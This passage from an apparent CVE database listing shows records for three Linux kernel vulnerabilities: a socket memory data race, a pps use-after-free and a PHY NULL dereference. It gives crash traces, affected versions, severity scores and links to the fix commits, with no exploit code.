              "lessThan": "3f51f8c9d28954cf380100883a02eed35a8277e9",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            },
            {
              "lessThan": "d285eb9d0641c8344f2836081b4ccb7b3c5cc1b6",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            },
            {
              "lessThan": "073d89808c065ac4c672c0a613a71b27a80691cb",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/dccp/ipv6.c",
            "net/ipv6/tcp_ipv6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.4"
            },
            {
              "lessThan": "4.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.10",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: fix data-races around sk-\u003esk_forward_alloc\n\nSyzkaller reported this warning:\n ------------[ cut here ]------------\n WARNING: CPU: 0 PID: 16 at net/ipv4/af_inet.c:156 inet_sock_destruct+0x1c5/0x1e0\n Modules linked in:\n CPU: 0 UID: 0 PID: 16 Comm: ksoftirqd/0 Not tainted 6.12.0-rc5 #26\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n RIP: 0010:inet_sock_destruct+0x1c5/0x1e0\n Code: 24 12 4c 89 e2 5b 48 c7 c7 98 ec bb 82 41 5c e9 d1 18 17 ff 4c 89 e6 5b 48 c7 c7 d0 ec bb 82 41 5c e9 bf 18 17 ff 0f 0b eb 83 \u003c0f\u003e 0b eb 97 0f 0b eb 87 0f 0b e9 68 ff ff ff 66 66 2e 0f 1f 84 00\n RSP: 0018:ffffc9000008bd90 EFLAGS: 00010206\n RAX: 0000000000000300 RBX: ffff88810b172a90 RCX: 0000000000000007\n RDX: 0000000000000002 RSI: 0000000000000300 RDI: ffff88810b172a00\n RBP: ffff88810b172a00 R08: ffff888104273c00 R09: 0000000000100007\n R10: 0000000000020000 R11: 0000000000000006 R12: ffff88810b172a00\n R13: 0000000000000004 R14: 0000000000000000 R15: ffff888237c31f78\n FS:  0000000000000000(0000) GS:ffff888237c00000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007ffc63fecac8 CR3: 000000000342e000 CR4: 00000000000006f0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n  \u003cTASK\u003e\n  ? __warn+0x88/0x130\n  ? inet_sock_destruct+0x1c5/0x1e0\n  ? report_bug+0x18e/0x1a0\n  ? handle_bug+0x53/0x90\n  ? exc_invalid_op+0x18/0x70\n  ? asm_exc_invalid_op+0x1a/0x20\n  ? inet_sock_destruct+0x1c5/0x1e0\n  __sk_destruct+0x2a/0x200\n  rcu_do_batch+0x1aa/0x530\n  ? rcu_do_batch+0x13b/0x530\n  rcu_core+0x159/0x2f0\n  handle_softirqs+0xd3/0x2b0\n  ? __pfx_smpboot_thread_fn+0x10/0x10\n  run_ksoftirqd+0x25/0x30\n  smpboot_thread_fn+0xdd/0x1d0\n  kthread+0xd3/0x100\n  ? __pfx_kthread+0x10/0x10\n  ret_from_fork+0x34/0x50\n  ? __pfx_kthread+0x10/0x10\n  ret_from_fork_asm+0x1a/0x30\n  \u003c/TASK\u003e\n ---[ end trace 0000000000000000 ]---\n\nIts possible that two threads call tcp_v6_do_rcv()/sk_forward_alloc_add()\nconcurrently when sk-\u003esk_state == TCP_LISTEN with sk-\u003esk_lock unlocked,\nwhich triggers a data-race around sk-\u003esk_forward_alloc:\ntcp_v6_rcv\n    tcp_v6_do_rcv\n        skb_clone_and_charge_r\n            sk_rmem_schedule\n                __sk_mem_schedule\n                    sk_forward_alloc_add()\n            skb_set_owner_r\n                sk_mem_charge\n                    sk_forward_alloc_add()\n        __kfree_skb\n            skb_release_all\n                skb_release_head_state\n                    sock_rfree\n                        sk_mem_uncharge\n                            sk_forward_alloc_add()\n                            sk_mem_reclaim\n                                // set local var reclaimable\n                                __sk_mem_reclaim\n                                    sk_forward_alloc_add()\n\nIn this syzkaller testcase, two threads call\ntcp_v6_do_rcv() with skb-\u003etruesize=768, the sk_forward_alloc changes like\nthis:\n (cpu 1)             | (cpu 2)             | sk_forward_alloc\n ...                 | ...                 | 0\n __sk_mem_schedule() |                     | +4096 = 4096\n                     | __sk_mem_schedule() | +4096 = 8192\n sk_mem_charge()     |                     | -768  = 7424\n                     | sk_mem_charge()     | -768  = 6656\n ...                 |    ...              |\n sk_mem_uncharge()   |                     | +768  = 7424\n reclaimable=7424    |                     |\n                     | sk_mem_uncharge()   | +768  = 8192\n                     | reclaimable=8192    |\n __sk_mem_reclaim()  |                     | -4096 = 4096\n                     | __sk_mem_reclaim()  | -8192 = -4096 != 0\n\nThe skb_clone_and_charge_r() should not be called in tcp_v6_do_rcv() when\nsk-\u003esk_state is TCP_LISTEN, it happens later in tcp_v6_syn_recv_sock().\nFix the same issue in dccp_v6_do_rcv()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:51:18.671Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/695fb0b9aecfd5dd5b2946ba8897ac2c1eef654d"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe2c0bd6d1e29ccefdc978b9a290571c93c27473"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3d052cae566ec2285f5999958a5deb415a0f59e"
        },
        {
          "url": "https://git.kernel.org/stable/c/be7c61ea5f816168c38955eb4e898adc8b4b32fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f51f8c9d28954cf380100883a02eed35a8277e9"
        },
        {
          "url": "https://git.kernel.org/stable/c/d285eb9d0641c8344f2836081b4ccb7b3c5cc1b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/073d89808c065ac4c672c0a613a71b27a80691cb"
        }
      ],
      "title": "net: fix data-races around sk-\u003esk_forward_alloc",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-53124",
    "datePublished": "2024-12-02T13:44:54.257Z",
    "dateReserved": "2024-11-19T17:17:24.995Z",
    "dateUpdated": "2026-05-12T12:01:21.383Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57979 (GCVE-0-2024-57979)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:01

Title

pps: Fix a use-after-free

Summary

In the Linux kernel, the following vulnerability has been resolved: pps: Fix a use-after-free On a board running ntpd and gpsd, I'm seeing a consistent use-after-free in sys_exit() from gpsd when rebooting: pps pps1: removed ------------[ cut here ]------------ kobject: '(null)' (00000000db4bec24): is not initialized, yet kobject_put() is being called. WARNING: CPU: 2 PID: 440 at lib/kobject.c:734 kobject_put+0x120/0x150 CPU: 2 UID: 299 PID: 440 Comm: gpsd Not tainted 6.11.0-rc6-00308-gb31c44928842 #1 Hardware name: Raspberry Pi 4 Model B Rev 1.1 (DT) pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : kobject_put+0x120/0x150 lr : kobject_put+0x120/0x150 sp : ffffffc0803d3ae0 x29: ffffffc0803d3ae0 x28: ffffff8042dc9738 x27: 0000000000000001 x26: 0000000000000000 x25: ffffff8042dc9040 x24: ffffff8042dc9440 x23: ffffff80402a4620 x22: ffffff8042ef4bd0 x21: ffffff80405cb600 x20: 000000000008001b x19: ffffff8040b3b6e0 x18: 0000000000000000 x17: 0000000000000000 x16: 0000000000000000 x15: 696e6920746f6e20 x14: 7369203a29343263 x13: 205d303434542020 x12: 0000000000000000 x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000 x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000 Call trace: kobject_put+0x120/0x150 cdev_put+0x20/0x3c __fput+0x2c4/0x2d8 ____fput+0x1c/0x38 task_work_run+0x70/0xfc do_exit+0x2a0/0x924 do_group_exit+0x34/0x90 get_signal+0x7fc/0x8c0 do_signal+0x128/0x13b4 do_notify_resume+0xdc/0x160 el0_svc+0xd4/0xf8 el0t_64_sync_handler+0x140/0x14c el0t_64_sync+0x190/0x194 ---[ end trace 0000000000000000 ]--- ...followed by more symptoms of corruption, with similar stacks: refcount_t: underflow; use-after-free. kernel BUG at lib/list_debug.c:62! Kernel panic - not syncing: Oops - BUG: Fatal exception This happens because pps_device_destruct() frees the pps_device with the embedded cdev immediately after calling cdev_del(), but, as the comment above cdev_del() notes, fops for previously opened cdevs are still callable even after cdev_del() returns. I think this bug has always been there: I can't explain why it suddenly started happening every time I reboot this particular board. In commit d953e0e837e6 ("pps: Fix a use-after free bug when unregistering a source."), George Spelvin suggested removing the embedded cdev. That seems like the simplest way to fix this, so I've implemented his suggestion, using __register_chrdev() with pps_idr becoming the source of truth for which minor corresponds to which device. But now that pps_idr defines userspace visibility instead of cdev_add(), we need to be sure the pps->dev refcount can't reach zero while userspace can still find it again. So, the idr_remove() call moves to pps_unregister_cdev(), and pps_idr now holds a reference to pps->dev. pps_core: source serial1 got cdev (251:1) <...> pps pps1: removed pps_core: unregistering pps1 pps_core: deallocating pps1

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/785c78ed0d39d1717…
https://git.kernel.org/stable/c/1a7735ab2cb974751…
https://git.kernel.org/stable/c/c4041b6b0a7a3def8…
https://git.kernel.org/stable/c/91932db1d96b29522…
https://git.kernel.org/stable/c/cd3bbcb6b3a7caa5c…
https://git.kernel.org/stable/c/7e5ee3281dc090143…
https://git.kernel.org/stable/c/85241f7de216f8298…
https://git.kernel.org/stable/c/c79a39dc8d060b9e6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < 785c78ed0d39d1717cca3ef931d3e51337b5e90e (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < 1a7735ab2cb9747518a7416fb5929e85442dec62 (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < c4041b6b0a7a3def8cf3f3d6120ff337bc4c40f7 (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < 91932db1d96b2952299ce30c1c693d834d10ace6 (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < cd3bbcb6b3a7caa5ce67de76723b6d8531fb7f64 (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < 7e5ee3281dc09014367f5112b6d566ba36ea2d49 (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < 85241f7de216f8298f6e48540ea13d7dcd100870 (git) Affected: d953e0e837e65ecc1ddaa4f9560f7925878a0de6 , < c79a39dc8d060b9e64e8b0fa9d245d44befeefbe (git) Affected: 77327a71f9841b7dfa708195d1cb133d4ef4a989 (git) Affected: cd59fb14918a6b20c1ac8be121fa6397b97b00cb (git) Affected: 49626fbb0360332e40fd76a48cb2ba876d6134ad (git)
Linux	Linux	Affected: 3.9 Unaffected: 0 , < 3.9 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-57979",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T18:14:45.747533Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:22:30.363Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:32:56.266Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:45.231Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pps/clients/pps-gpio.c",
            "drivers/pps/clients/pps-ktimer.c",
            "drivers/pps/clients/pps-ldisc.c",
            "drivers/pps/clients/pps_parport.c",
            "drivers/pps/kapi.c",
            "drivers/pps/kc.c",
            "drivers/pps/pps.c",
            "drivers/ptp/ptp_ocp.c",
            "include/linux/pps_kernel.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "785c78ed0d39d1717cca3ef931d3e51337b5e90e",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "1a7735ab2cb9747518a7416fb5929e85442dec62",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "c4041b6b0a7a3def8cf3f3d6120ff337bc4c40f7",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "91932db1d96b2952299ce30c1c693d834d10ace6",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "cd3bbcb6b3a7caa5ce67de76723b6d8531fb7f64",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "7e5ee3281dc09014367f5112b6d566ba36ea2d49",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "85241f7de216f8298f6e48540ea13d7dcd100870",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "lessThan": "c79a39dc8d060b9e64e8b0fa9d245d44befeefbe",
              "status": "affected",
              "version": "d953e0e837e65ecc1ddaa4f9560f7925878a0de6",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "77327a71f9841b7dfa708195d1cb133d4ef4a989",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "cd59fb14918a6b20c1ac8be121fa6397b97b00cb",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "49626fbb0360332e40fd76a48cb2ba876d6134ad",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pps/clients/pps-gpio.c",
            "drivers/pps/clients/pps-ktimer.c",
            "drivers/pps/clients/pps-ldisc.c",
            "drivers/pps/clients/pps_parport.c",
            "drivers/pps/kapi.c",
            "drivers/pps/kc.c",
            "drivers/pps/pps.c",
            "drivers/ptp/ptp_ocp.c",
            "include/linux/pps_kernel.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.9"
            },
            {
              "lessThan": "3.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.2.40",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.4.87",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.8.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npps: Fix a use-after-free\n\nOn a board running ntpd and gpsd, I\u0027m seeing a consistent use-after-free\nin sys_exit() from gpsd when rebooting:\n\n    pps pps1: removed\n    ------------[ cut here ]------------\n    kobject: \u0027(null)\u0027 (00000000db4bec24): is not initialized, yet kobject_put() is being called.\n    WARNING: CPU: 2 PID: 440 at lib/kobject.c:734 kobject_put+0x120/0x150\n    CPU: 2 UID: 299 PID: 440 Comm: gpsd Not tainted 6.11.0-rc6-00308-gb31c44928842 #1\n    Hardware name: Raspberry Pi 4 Model B Rev 1.1 (DT)\n    pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n    pc : kobject_put+0x120/0x150\n    lr : kobject_put+0x120/0x150\n    sp : ffffffc0803d3ae0\n    x29: ffffffc0803d3ae0 x28: ffffff8042dc9738 x27: 0000000000000001\n    x26: 0000000000000000 x25: ffffff8042dc9040 x24: ffffff8042dc9440\n    x23: ffffff80402a4620 x22: ffffff8042ef4bd0 x21: ffffff80405cb600\n    x20: 000000000008001b x19: ffffff8040b3b6e0 x18: 0000000000000000\n    x17: 0000000000000000 x16: 0000000000000000 x15: 696e6920746f6e20\n    x14: 7369203a29343263 x13: 205d303434542020 x12: 0000000000000000\n    x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000\n    x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\n    x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\n    x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000\n    Call trace:\n     kobject_put+0x120/0x150\n     cdev_put+0x20/0x3c\n     __fput+0x2c4/0x2d8\n     ____fput+0x1c/0x38\n     task_work_run+0x70/0xfc\n     do_exit+0x2a0/0x924\n     do_group_exit+0x34/0x90\n     get_signal+0x7fc/0x8c0\n     do_signal+0x128/0x13b4\n     do_notify_resume+0xdc/0x160\n     el0_svc+0xd4/0xf8\n     el0t_64_sync_handler+0x140/0x14c\n     el0t_64_sync+0x190/0x194\n    ---[ end trace 0000000000000000 ]---\n\n...followed by more symptoms of corruption, with similar stacks:\n\n    refcount_t: underflow; use-after-free.\n    kernel BUG at lib/list_debug.c:62!\n    Kernel panic - not syncing: Oops - BUG: Fatal exception\n\nThis happens because pps_device_destruct() frees the pps_device with the\nembedded cdev immediately after calling cdev_del(), but, as the comment\nabove cdev_del() notes, fops for previously opened cdevs are still\ncallable even after cdev_del() returns. I think this bug has always\nbeen there: I can\u0027t explain why it suddenly started happening every time\nI reboot this particular board.\n\nIn commit d953e0e837e6 (\"pps: Fix a use-after free bug when\nunregistering a source.\"), George Spelvin suggested removing the\nembedded cdev. That seems like the simplest way to fix this, so I\u0027ve\nimplemented his suggestion, using __register_chrdev() with pps_idr\nbecoming the source of truth for which minor corresponds to which\ndevice.\n\nBut now that pps_idr defines userspace visibility instead of cdev_add(),\nwe need to be sure the pps-\u003edev refcount can\u0027t reach zero while\nuserspace can still find it again. So, the idr_remove() call moves to\npps_unregister_cdev(), and pps_idr now holds a reference to pps-\u003edev.\n\n    pps_core: source serial1 got cdev (251:1)\n    \u003c...\u003e\n    pps pps1: removed\n    pps_core: unregistering pps1\n    pps_core: deallocating pps1"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:27.538Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/785c78ed0d39d1717cca3ef931d3e51337b5e90e"
        },
        {
          "url": "https://git.kernel.org/stable/c/1a7735ab2cb9747518a7416fb5929e85442dec62"
        },
        {
          "url": "https://git.kernel.org/stable/c/c4041b6b0a7a3def8cf3f3d6120ff337bc4c40f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/91932db1d96b2952299ce30c1c693d834d10ace6"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd3bbcb6b3a7caa5ce67de76723b6d8531fb7f64"
        },
        {
          "url": "https://git.kernel.org/stable/c/7e5ee3281dc09014367f5112b6d566ba36ea2d49"
        },
        {
          "url": "https://git.kernel.org/stable/c/85241f7de216f8298f6e48540ea13d7dcd100870"
        },
        {
          "url": "https://git.kernel.org/stable/c/c79a39dc8d060b9e64e8b0fa9d245d44befeefbe"
        }
      ],
      "title": "pps: Fix a use-after-free",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57979",
    "datePublished": "2025-02-27T02:07:06.168Z",
    "dateReserved": "2025-02-27T02:04:28.912Z",
    "dateUpdated": "2026-05-12T12:01:45.231Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27047 (GCVE-0-2024-27047)

Vulnerability from cvelistv5 – Published: 2024-05-01 12:54 – Updated: 2026-05-12 11:51

Title

net: phy: fix phy_get_internal_delay accessing an empty array

Summary

In the Linux kernel, the following vulnerability has been resolved: net: phy: fix phy_get_internal_delay accessing an empty array The phy_get_internal_delay function could try to access to an empty array in the case that the driver is calling phy_get_internal_delay without defining delay_values and rx-internal-delay-ps or tx-internal-delay-ps is defined to 0 in the device-tree. This will lead to "unable to handle kernel NULL pointer dereference at virtual address 0". To avoid this kernel oops, the test should be delay >= 0. As there is already delay < 0 test just before, the test could only be size == 0.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/06dd21045a7e8bc87…
https://git.kernel.org/stable/c/0e939a002c8a7d66e…
https://git.kernel.org/stable/c/2a2ff709511617de9…
https://git.kernel.org/stable/c/589ec16174dd93789…
https://git.kernel.org/stable/c/c0691de7df1d51482…
https://git.kernel.org/stable/c/0307cf443308ecc6b…
https://git.kernel.org/stable/c/4469c0c5b14a0919f…

Impacted products

2 products

Vendor	Product	Version
